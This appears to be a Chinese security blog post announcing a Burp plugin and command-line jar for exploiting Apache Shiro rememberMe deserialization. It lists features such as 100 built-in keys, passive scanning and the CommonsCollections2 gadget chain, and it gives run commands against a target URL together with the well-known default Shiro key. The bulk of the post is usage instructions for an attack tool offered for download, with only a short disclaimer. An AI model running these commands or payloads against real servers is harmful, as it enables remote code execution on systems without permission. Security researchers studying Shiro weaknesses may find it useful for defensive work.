此版本改动，支持burp的被动扫描（需要burp pro版本
changelog
-
新增shiro 检测方式(对，就是那个不需要gadget的检测方式) 2020.7.30 -
新增shiro 100 key -
支持自定义key -
支持作为插件导入burp -
支持burp的被动扫描（需要burp pro版本
被动扫描演示
检测到shiro框架
自动探测shiro的key
burp插件使用方法
repeater界面中右键，生成payload
默认kph密钥，cc2利用链，获取信息，如果需要修改，请右键选择config
生成后，会自动替换request内容，并攻击
当然，这个jar包也可以直接在命令行下运行，生成rememberMe，或者检测，一切不变
自定义key检测
java -cp .shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar org.unicodesec.poc http://localhost:8080/samples_web_war/ kPH+bIxk5D2deZiIxcaaaA==内置100key检测
java -cp .shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar org.unicodesec.poc http://localhost:8080/samples_web_war/
java -jar .shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar kPH+bIxk5D2deZiIxcaaaA== CommonsCollections2 XraySysProp后台回复shiro即可得到下载链接
源码下载请后台回复 source，即可得到github源码地址
欢迎关注 宽字节安全 公众号
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论